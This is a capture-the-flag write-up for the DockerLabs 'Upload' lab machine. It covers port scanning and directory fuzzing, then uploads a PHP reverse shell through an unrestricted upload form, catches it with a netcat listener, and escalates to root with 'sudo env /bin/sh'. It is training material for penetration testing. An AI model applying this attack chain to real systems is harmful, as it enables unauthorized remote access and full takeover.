> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/upload.md).
# Upload
## 1 - Reconnaissance
We begin with a fast Nmap scan to identify open ports:
`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`
**Result: ports 80 is open**
## 2 - Enumeration
Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:
`nmap 172.17.0.2 -p ports -sS -Pn -sCV`
(Upload) Targeted Port Scan
We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:
```
ffuf-dir () {
ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```
we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:
(Upload) FFUF Routes
## 3 - Exploitation
Accessing /upload.php we see a file upload, with no extension restriction, so we can upload a basic PHP reverse shell, as the PentestMonkey one. After browsing /uploads/revshell.php, we will activate it, and we can catch it with `nc -lvnp 3110`.
(Upload) Reverse Shell Uploaded
## 4 - Privilege Escalation
After running `sudo -l` we can see that user `www-data` has sudo permissions as `root` on `/usr/bin/env`. Using this GTFOBins one-liner we can spawn a `root` shell.:
```
sudo env /bin/sh
```
(Upload) Root Shell
## 5 - Summary
**Initial Access:**\
Directory enumeration revealed `/upload.php`. The upload function allowed unrestricted file types, so a PHP reverse shell was uploaded and executed, granting access as `www-data`.
**Exploitation:**\
Gained RCE by browsing the uploaded reverse shell and catching the connection with netcat.
**Privilege Escalation:**\
`www-data` had sudo rights on `/usr/bin/env`. Abusing it with GTFOBins (`sudo env /bin/sh`) provided a root shell.